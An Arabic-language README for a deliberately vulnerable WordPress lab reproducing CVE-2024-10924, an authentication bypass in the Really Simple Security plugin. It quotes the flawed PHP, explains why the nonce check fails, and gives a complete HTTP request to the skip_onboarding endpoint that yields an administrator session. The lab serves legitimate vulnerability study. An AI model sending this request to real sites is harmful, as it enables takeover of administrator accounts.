
تحذير: هذا تطبيقٌ هشّ (غير آمن) لاختبار استغلال ثغرة تجاوز المصادقة في Really Simple Security < 9.1.2 (CVE-2024-10924). قم بتشغيله على مسؤوليتك الخاصة!
هذا تطبيق هشّ لاختبار استغلال تجاوز المصادقة في Really Simple Security < 9.1.2 (CVE-2024-10924).
يحتوي هذا التطبيق على ثغرات أمنية خطيرة. قم بتشغيله على مسؤوليتك الخاصة! يُنصح باستخدام بيئة مدعومة بنسخ احتياطية ومعزولة (مثل جهاز افتراضي VM مع لقطة حديثة وشبكة host-only). لا ترفع هذا التطبيق إلى أي خوادم مواجهة للإنترنت، لأنها ستُخترق.
إخلاء المسؤولية: لا أتحمل المسؤولية عن الطريقة التي يستخدم بها أي شخص هذا التطبيق. الغرض الوحيد من هذا التطبيق هو أن يكون سيناريو اختبارًا لاستغلال تجاوز المصادقة في Really Simple Security < 9.1.2 (CVE-2024-10924) ويجب عدم استخدامه بشكل ضار. إذا تم اختراق خادمك عبر تثبيت هذا التطبيق، فهذه ليست مسؤوليتي، بل مسؤولية الشخص (الأشخاص) الذي رفعه وثبّته.
فيما يلي خطوات إعداد البيئة:
./up.sh لبدء التشغيل.ستتم تسمية الحاوية vuln-wp-really-simple-security.
لـتفكيك البيئة استخدم الأمر ./down.sh أو الأمر ./down_and_delete.sh لإزالة الصور ووحدة تخزين قاعدة البيانات أيضًا.
بالنظر إلى الإصلاح، يمكن فهم أن النسخة الضعيفة كانت تُرجع كائن خطأ، في حالة وجود login nonce غير صالح، من الدالة check_login_and_get_user()، دون إيقاف العملية بأكملها.
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
في الدالة المستدعية، ومع ذلك، لم يتم إجراء أي فحص على مخرجات الدالة check_login_and_get_user() (السطر 277)، بل تمت المتابعة ببساطة مع الدالة authenticate_and_redirect() (السطر 278) باستخدام القيمة نفسها المستلمة من المدخلات لمعرّف المستخدم.
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
لاستغلال الثغرة، يكفي طلب مثل التالي.
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
بعد ذلك، اضبط ملفات تعريف ارتباط الجلسة المُرجَعة في المتصفح وفقًا لذلك.
يجب أن يكون user_id هو معرّف المستخدم المستهدف، بينما يمكن أن يكون login_nonce أي قيمة، نظرًا لأن القيمة الخاطئة لن تمنع العملية.
يمكنك العثور على سكربت استغلال بلغة بايثون هنا.
هذا المشروع مرخّص بموجب Unlicense - راجع ملف LICENSE للحصول على التفاصيل.